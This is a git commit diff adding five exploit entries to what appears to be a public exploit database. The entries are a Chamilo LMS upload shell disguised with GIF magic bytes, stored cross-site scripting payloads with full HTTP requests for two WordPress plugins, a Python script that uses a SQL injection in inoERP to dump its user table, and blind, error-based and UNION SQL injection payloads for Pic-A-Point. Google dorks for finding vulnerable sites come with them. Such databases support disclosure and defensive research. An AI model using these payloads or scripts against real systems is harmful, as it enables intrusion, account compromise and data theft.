DB: 2019-09-27
5 changes to exploits/shellcodes Chamillo LMS 1.11.8 - Arbitrary File Upload Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting inoERP 4.15 - 'download' SQL Injection citecodecrashers Pic-A-Point 1.1 - 'Consignment' SQL Injection
This commit is contained in:
Offensive Security
parent
ba928141e7
commit
dc44a5e5a6
6 changed files with 246 additions and 0 deletions
55
exploits/php/webapps/47423.txt
Normal file
55
exploits/php/webapps/47423.txt
Normal file
|
|
@ -0,0 +1,55 @@
|
|||
# Exploit Title: Chamillo LMS 1.11.8 - Arbitrary File Upload
|
||||
# Google Dork: "powered by chamilo"
|
||||
# Date: 2018-10-05
|
||||
# Exploit Author: Sohel Yousef jellyfish security team
|
||||
# Software Link: https://chamilo.org/en/download/
|
||||
# Version: Chamilo 1.11.8 or lower to 1.8
|
||||
# Category: webapps
|
||||
|
||||
# 1. Description
|
||||
# Any registered user can upload files and rename and change the file type to
|
||||
# php5 or php7 by ckeditor module in my files section
|
||||
|
||||
# register here :
|
||||
# http://localhost/chamilo//main/auth/inscription.php
|
||||
# after registration you can view this sections
|
||||
# http://localhost/chamilo/main/social/myfiles.php
|
||||
# http://localhost/chamilo/main/inc/lib/elfinder/filemanager.php?&CKEditor=content&CKEditorFuncNum=0
|
||||
# upload your shell in gif format and then rename the format
|
||||
# if the rename function was desabled and add this GIF89;aGIF89;aGIF89;a before <?PHP
|
||||
# to be like this for examlple
|
||||
|
||||
GIF89;aGIF89;aGIF89;a<html>
|
||||
<head>
|
||||
<title>PHP Test</title>
|
||||
<form action="" method="post" enctype="multipart/form-data">
|
||||
<input type="file" name="fileToUpload" id="fileToUpload">
|
||||
<input type="submit" value="upload file" name="submit">
|
||||
</form>
|
||||
</head>
|
||||
<body>
|
||||
<?php echo '<p>FILE UPLOAD</p><br>';
|
||||
$tgt_dir = "uploads/";
|
||||
$tgt_file = $tgt_dir.basename($_FILES['fileToUpload']['name']);
|
||||
echo "<br>TARGET FILE= ".$tgt_file;
|
||||
//$filename = $_FILES['fileToUpload']['name'];
|
||||
echo "<br>FILE NAME FROM VARIABLE:- ".$_FILES["fileToUpload"]["name"];
|
||||
if(isset($_POST['submit']))
|
||||
{
|
||||
if(file_exists("uploads/".$_FILES["fileToUpload"]["name"]))
|
||||
{ echo "<br>file exists, try with another name"; }
|
||||
else {
|
||||
echo "<br>STARTING UPLOAD PROCESS<br>";
|
||||
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
|
||||
$tgt_file))
|
||||
{ echo "<br>File UPLOADED:- ".$tgt_file; }
|
||||
|
||||
else { echo "<br>ERROR WHILE UPLOADING FILE<br>"; }
|
||||
}
|
||||
}
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
# and uplaod it as php.gif
|
||||
# you can browse the files form right click and click on browse option
|
||||
48
exploits/php/webapps/47424.txt
Normal file
48
exploits/php/webapps/47424.txt
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
# Exploit Title: Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting
|
||||
# Google Dork: N/A
|
||||
# Date: 2019-06-11
|
||||
# Exploit Author: Unk9vvN
|
||||
# Vendor Homepage: https://duplicate-post.lopo.it/
|
||||
# Software Link: https://wordpress.org/plugins/duplicate-post/
|
||||
# Version: 3.2.3
|
||||
# Tested on: Kali Linux
|
||||
# CVE: N/A
|
||||
|
||||
# Description
|
||||
# This vulnerability is in the validation mode and is located in the plugin management panel and the vulnerability type is stored . the vulnerability parameters are as follows.
|
||||
|
||||
1.Go to the 'Settings' section
|
||||
2.Enter the payload in the "Title prefix", "Title suffix", "Increase menu order by", "Do not copy these fields" sections
|
||||
3.Click the "Save Changes" option
|
||||
4.Your payload will run
|
||||
|
||||
# URI: http://localhost/wp-admin/options-general.php?page=duplicatepost
|
||||
# Parameter & Payoad:
|
||||
|
||||
duplicate_post_title_prefix="><script>alert(1)</script>
|
||||
duplicate_post_title_suffix="><script>alert(1)</script>
|
||||
duplicate_post_increase_menu_order_by="><script>alert(1)</script>
|
||||
duplicate_post_blacklist="><script>alert(1)</script>
|
||||
|
||||
|
||||
#
|
||||
# PoC
|
||||
#
|
||||
POST /wp-admin/options.php HTTP/1.1
|
||||
Host: localhost
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://localhost/wp-admin/options-general.php?page=duplicatepost
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 981
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
DNT: 1
|
||||
|
||||
option_page=duplicate_post_group&action=update&_wpnonce=0e8a49a372&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dduplicatepost%26settings-updated%3Dtrue&duplicate_post_copytitle=1&duplicate_post_copyexcerpt=1&duplicate_post_copycontent=1&duplicate_post_copythumbnail=1&duplicate_post_copytemplate=1&duplicate_post_copyformat=1&duplicate_post_copymenuorder=1&duplicate_post_title_prefix=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_title_suffix=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_increase_menu_order_by=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_blacklist=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&duplicate_post_roles%5B%5D=administrator&duplicate_post_roles%5B%5D=editor&duplicate_post_types_enabled%5B%5D=post&duplicate_post_types_enabled%5B%5D=page&duplicate_post_show_row=1&duplicate_post_show_submitbox=1&duplicate_post_show_adminbar=1&duplicate_post_show_bulkactions=1&duplicate_post_show_notice=1
|
||||
|
||||
|
||||
# Discovered by:
|
||||
https://t.me/Unk9vvN
|
||||
56
exploits/php/webapps/47425.txt
Normal file
56
exploits/php/webapps/47425.txt
Normal file
|
|
@ -0,0 +1,56 @@
|
|||
# Exploit Title: all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting
|
||||
# Google Dork: inurl:"\wp-content\plugins\all-in-one-seo-pack"
|
||||
# Date: 2019-06-13
|
||||
# Exploit Author: Unk9vvN
|
||||
# Vendor Homepage: https://semperplugins.com/all-in-one-seo-pack-pro-version
|
||||
# Software Link: https://wordpress.org/plugins/all-in-one-seo-pack/
|
||||
# Version: 3.2.7
|
||||
# Tested on: Windows 10
|
||||
# CVE: N/A
|
||||
|
||||
# Description
|
||||
# This vulnerability is in the validation mode and is located in the all-in-one-seo-pack tab inside the and the vulnerability type is stored . the vulnerability parameters are as follows.
|
||||
|
||||
1.Go to the 'all-in-one-seo-pack' tab
|
||||
2.Select 'general settings' section
|
||||
3.Enter the payload in "Additional Front Page Headers","Additional Posts Page Headers" section
|
||||
4.Click the "Update Options" option
|
||||
4.Your payload will run on visit page
|
||||
|
||||
|
||||
# URI: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack
|
||||
# Payload: "><script>alert(1)</script>
|
||||
|
||||
#
|
||||
# PoC
|
||||
#
|
||||
POST /wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php HTTP/1.1
|
||||
Host: localhost
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://localhost/wordpress/wp-admin/admin.php?page=all-in-one-seo-pack%2Faioseop_class.php
|
||||
Content-Type: multipart/form-data; boundary=---------------------------24442753012045
|
||||
Content-Length: 8625
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
-----------------------------24442753012045
|
||||
Content-Disposition: form-data; name="aiosp_front_meta_tags"
|
||||
|
||||
"><script>alert(1)</script>
|
||||
-----------------------------24442753012045
|
||||
Content-Disposition: form-data; name="aiosp_home_meta_tags"
|
||||
|
||||
"><script>alert(1)</script>
|
||||
-----------------------------24442753012045
|
||||
|
||||
Content-Disposition: form-data; name="Submit"
|
||||
|
||||
Update Options »
|
||||
-----------------------------24442753012045--
|
||||
|
||||
|
||||
# Discovered by:
|
||||
https://unk9vvn.com
|
||||
48
exploits/php/webapps/47426.txt
Normal file
48
exploits/php/webapps/47426.txt
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
# Exploit Title: inoERP 4.15 - 'download' SQL Injection
|
||||
# Date: 2019-09-13
|
||||
# Exploit Author: Semen Alexandrovich Lyhin
|
||||
# Vendor Homepage: http://inoideas.org/
|
||||
# Version: 4.15
|
||||
# CVE: N/A
|
||||
|
||||
|
||||
# A malicious query can be sent in base64 encoding to unserialize() function.
|
||||
# It can be deserialized as an array without any sanitization then.
|
||||
# After it, each element of the array is passed directly to the SQL query.
|
||||
|
||||
|
||||
#!/bin/python
|
||||
|
||||
import os
|
||||
import base64
|
||||
import requests
|
||||
import sys
|
||||
|
||||
def generatePayload(query):
|
||||
#THIS FUNCTION IS INSECURE BY DESIGN
|
||||
b64_query = base64.b64encode(query);
|
||||
return os.popen("php -r \"echo base64_encode(serialize(base64_decode('" + b64_query + "')));\"").read()
|
||||
|
||||
|
||||
def ExecSQL(query):
|
||||
data = {"data":query,
|
||||
"data_type":"sql_query"}
|
||||
|
||||
r = requests.post("http://" + ip + "/download.php", data=data)
|
||||
return r.content
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
if len(sys.argv) != 3:
|
||||
print '(+) usage: %s <target> ' % sys.argv[0]
|
||||
print '(+) eg: %s 127.0.0.1 "ierp/" ' % sys.argv[0]
|
||||
exit()
|
||||
|
||||
ip = sys.argv[1] + "/" + sys.argv[2]
|
||||
|
||||
#if don't have php, set Payload to the next one to check this SQLi via "select @@version;" payload: czoxNzoic2VsZWN0IEBAdmVyc2lvbjsiOw==
|
||||
|
||||
data = r"select * from ino_user;"
|
||||
|
||||
print ExecSQL(generatePayload(data));
|
||||
34
exploits/php/webapps/47427.txt
Normal file
34
exploits/php/webapps/47427.txt
Normal file
|
|
@ -0,0 +1,34 @@
|
|||
# Exploit Title: citecodecrashers Pic-A-Point 1.1 - 'Consignment' SQL Injection
|
||||
# Author: Cakes
|
||||
# Discovery Date: 2019-09-26
|
||||
# Vendor Homepage: https://github.com/citecodecrashers/Pic-A-Point
|
||||
# Software Link: https://github.com/citecodecrashers/Pic-A-Point/archive/master.zip
|
||||
# Tested Version: 1.1
|
||||
# Tested on OS: CentOS 7
|
||||
# CVE: N/A
|
||||
|
||||
# Discription:
|
||||
# Simple SQL injection after application authentication.
|
||||
|
||||
# POST Request
|
||||
|
||||
# Parameter: Consignment (POST)
|
||||
# Type: boolean-based blind
|
||||
# Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
|
||||
|
||||
Payload: Consignment=1234' AND 9752=(SELECT (CASE WHEN (9752=9752) THEN 9752 ELSE (SELECT 1018 UNION SELECT 3533) END))-- QBEy&Submit=Trace now
|
||||
|
||||
# Type: error-based
|
||||
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
|
||||
|
||||
Payload: Consignment=1234' AND (SELECT 4396 FROM(SELECT COUNT(*),CONCAT(0x7162707871,(SELECT (ELT(4396=4396,1))),0x716a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- hufy&Submit=Trace now
|
||||
|
||||
# Type: time-based blind
|
||||
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||
|
||||
Payload: Consignment=1234' AND (SELECT 9267 FROM (SELECT(SLEEP(5)))qpkL)-- OiWK&Submit=Trace now
|
||||
|
||||
# Type: UNION query
|
||||
# Title: Generic UNION query (NULL) - 20 columns
|
||||
|
||||
Payload: Consignment=1234' UNION ALL SELECT NULL,CONCAT(0x7162707871,0x614b666177515872456a7177706f6b654d54744e75644e4b597648496742464c6346656865654e67,0x716a7a7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- cUud&Submit=Trace now
|
||||
|
|
@ -41760,3 +41760,8 @@ id,file,description,date,author,type,platform,port
|
|||
47419,exploits/php/webapps/47419.txt,"WP Server Log Viewer 1.0 - 'logfile' Persistent Cross-Site Scripting",2019-09-25,strider,webapps,php,
|
||||
47420,exploits/json/webapps/47420.txt,"NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution",2019-09-25,"Semen Alexandrovich Lyhin",webapps,json,
|
||||
47422,exploits/php/webapps/47422.txt,"YzmCMS 5.3 - 'Host' Header Injection",2019-09-25,"Debashis Pal",webapps,php,
|
||||
47423,exploits/php/webapps/47423.txt,"Chamillo LMS 1.11.8 - Arbitrary File Upload",2019-09-26,"Sohel Yousef",webapps,php,
|
||||
47424,exploits/php/webapps/47424.txt,"Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting",2019-09-26,Unk9vvN,webapps,php,
|
||||
47425,exploits/php/webapps/47425.txt,"all-in-one-seo-pack 3.2.7 - Persistent Cross-Site Scripting",2019-09-26,Unk9vvN,webapps,php,
|
||||
47426,exploits/php/webapps/47426.txt,"inoERP 4.15 - 'download' SQL Injection",2019-09-26,"Semen Alexandrovich Lyhin",webapps,php,
|
||||
47427,exploits/php/webapps/47427.txt,"citecodecrashers Pic-A-Point 1.1 - 'Consignment' SQL Injection",2019-09-26,cakes,webapps,php,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue